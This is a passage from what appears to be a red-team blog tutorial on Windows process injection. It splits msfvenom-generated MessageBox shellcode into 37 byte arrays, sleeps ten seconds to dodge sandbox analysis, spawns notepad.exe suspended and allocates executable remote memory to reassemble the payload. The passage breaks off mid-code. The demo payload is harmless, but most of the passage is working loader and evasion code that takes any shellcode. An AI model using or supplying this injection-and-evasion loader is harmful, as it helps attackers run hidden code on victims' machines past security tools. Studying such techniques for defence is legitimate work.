<span class="c1">//python generated code below!</span>
<span class="c1">//=====================================================================================================</span>
<span class="c1">// MessageBox shellcode generated with:</span>
<span class="c1">// msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x50</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x3c</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x78</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode16</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode17</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode18</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x41</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode19</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0xac</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode20</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x38</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x75</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode21</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xf1</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x03</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x08</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x39</span><span class="p">,</span><span class="mh">0xd1</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x44</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode22</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x24</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode23</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x66</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x0c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x1c</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x04</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode24</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x88</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x5e</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x48</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode25</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode26</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x83</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode27</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0xec</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe0</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x59</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode28</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x12</span><span class="p">,</span><span class="mh">0xe9</span><span class="p">,</span><span class="mh">0x4b</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x5d</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode29</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x75</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x32</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x64</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x6c</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x59</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode30</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x4c</span><span class="p">,</span><span class="mh">0x77</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode31</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x26</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0xc7</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0a</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode32</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x79</span><span class="p">,</span><span class="mh">0x73</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x33</span><span class="p">,</span><span class="mh">0x6d</span><span class="p">,</span><span class="mh">0x00</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode33</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x5a</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x73</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode34</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x73</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x6f</span><span class="p">,</span><span class="mh">0x78</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode35</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x58</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode36</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0x45</span><span class="p">,</span><span class="mh">0x83</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x07</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode37</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xba</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xb5</span><span class="p">,</span><span class="mh">0xa2</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xd5</span> <span class="p">};</span>

<span class="c1">// Array of shellcode chunks</span>
<span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcodeChunks</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="n">shellcode1</span><span class="p">,</span> <span class="n">shellcode2</span><span class="p">,</span> <span class="n">shellcode3</span><span class="p">,</span> <span class="n">shellcode4</span><span class="p">,</span> <span class="n">shellcode5</span><span class="p">,</span> <span class="n">shellcode6</span><span class="p">,</span> <span class="n">shellcode7</span><span class="p">,</span>
    <span class="n">shellcode8</span><span class="p">,</span> <span class="n">shellcode9</span><span class="p">,</span> <span class="n">shellcode10</span><span class="p">,</span> <span class="n">shellcode11</span><span class="p">,</span> <span class="n">shellcode12</span><span class="p">,</span> <span class="n">shellcode13</span><span class="p">,</span> <span class="n">shellcode14</span><span class="p">,</span>
    <span class="n">shellcode15</span><span class="p">,</span> <span class="n">shellcode16</span><span class="p">,</span> <span class="n">shellcode17</span><span class="p">,</span> <span class="n">shellcode18</span><span class="p">,</span> <span class="n">shellcode19</span><span class="p">,</span> <span class="n">shellcode20</span><span class="p">,</span> <span class="n">shellcode21</span><span class="p">,</span>
    <span class="n">shellcode22</span><span class="p">,</span> <span class="n">shellcode23</span><span class="p">,</span> <span class="n">shellcode24</span><span class="p">,</span> <span class="n">shellcode25</span><span class="p">,</span> <span class="n">shellcode26</span><span class="p">,</span> <span class="n">shellcode27</span><span class="p">,</span> <span class="n">shellcode28</span><span class="p">,</span>
    <span class="n">shellcode29</span><span class="p">,</span> <span class="n">shellcode30</span><span class="p">,</span> <span class="n">shellcode31</span><span class="p">,</span> <span class="n">shellcode32</span><span class="p">,</span> <span class="n">shellcode33</span><span class="p">,</span> <span class="n">shellcode34</span><span class="p">,</span> <span class="n">shellcode35</span><span class="p">,</span>
    <span class="n">shellcode36</span><span class="p">,</span> <span class="n">shellcode37</span>
<span class="p">};</span>

<span class="c1">// Corresponding sizes</span>
<span class="n">SIZE_T</span> <span class="n">shellcodeSizes</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode1</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode2</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode3</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode4</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode5</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode6</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode7</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode8</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode9</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode10</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode11</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode12</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode13</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode14</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode15</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode16</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode17</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode18</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode19</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode20</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode21</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode22</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode23</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode24</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode25</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode26</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode27</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode28</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode29</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode30</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode31</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode32</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode33</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode34</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode35</span><span class="p">),</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode36</span><span class="p">),</span>
    <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode37</span><span class="p">)</span>
<span class="p">};</span>

<span class="c1">//End of python generated code</span>
<span class="c1">//=====================================================================================================</span>

 <span class="c1">// Seed random</span>
 <span class="n">srand</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>

 <span class="c1">// Initial delay to mimic dormant behavior</span>
 <span class="n">std</span><span class="o">::</span><span class="n">this_thread</span><span class="o">::</span><span class="n">sleep_for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">chrono</span><span class="o">::</span><span class="n">milliseconds</span><span class="p">(</span><span class="mi">10000</span><span class="p">));</span>

 <span class="c1">// Auto-calculate number of chunks</span>
 <span class="k">constexpr</span> <span class="kt">size_t</span> <span class="n">numChunks</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcodeChunks</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
</code></pre></div></div>

<p>Let’s pause here for a sec so I can explain what’s happening.  I’m initializing a random seed value to be used throughout the remainder of our code.  We will not use it just yet, but in due time we will I assure you.  Next up, I calculate the amount of shellcode chunks we generated earlier via our python script.  The final count in my case is <code class="language-plaintext highlighter-rouge">33</code>, and that value will get stored in the shellcodesize variable.  Lastly, we sleep for 10 seconds to try and deter any unwanted initial virtualized analysis of our code.</p>

<p>Continuing on!  In the next section of our code, we simply print the shellcode total bytes, and then spawn Notepad in a suspended state to inject into later.  Pretty straightforward 👍</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Calculate total size</span>
<span class="n">SIZE_T</span> <span class="n">totalSize</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">numChunks</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">totalSize</span> <span class="o">+=</span> <span class="n">shellcodeSizes</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Total shellcode size: %zu bytes</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">);</span>

<span class="c1">// Create suspended notepad.exe</span>
<span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>
<span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">CreateProcess</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span>
    <span class="n">CREATE_SUSPENDED</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">))</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] CreateProcess failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Notepad spawned (PID: %lu)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pi</span><span class="p">.</span><span class="n">dwProcessId</span><span class="p">);</span>
</code></pre></div></div>

<p>Now, let’s reassemble our shellcode and allocate + write our shellcode chunks into their own unique memory region 😸 I set a minimum delay of <code class="language-plaintext highlighter-rouge">50</code> milliseconds and maximum delay of <code class="language-plaintext highlighter-rouge">850</code> milliseconds, respectively.</p>

<h2 id="reassembling-the-shellcode-chunks">Reassembling the Shellcode Chunks</h2>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Allocate final executable memory region</span>
<span class="n">LPVOID</span> <span class="n">remoteBase</span> <span class="o">=</span> <span class="n">VirtualAllocEx</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">totalSize</span><span class="p">,</span>
    <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">remoteBase</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"[-] VirtualAllocEx failed: %lu</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
    <span class="n">TerminateProcess</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span> <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
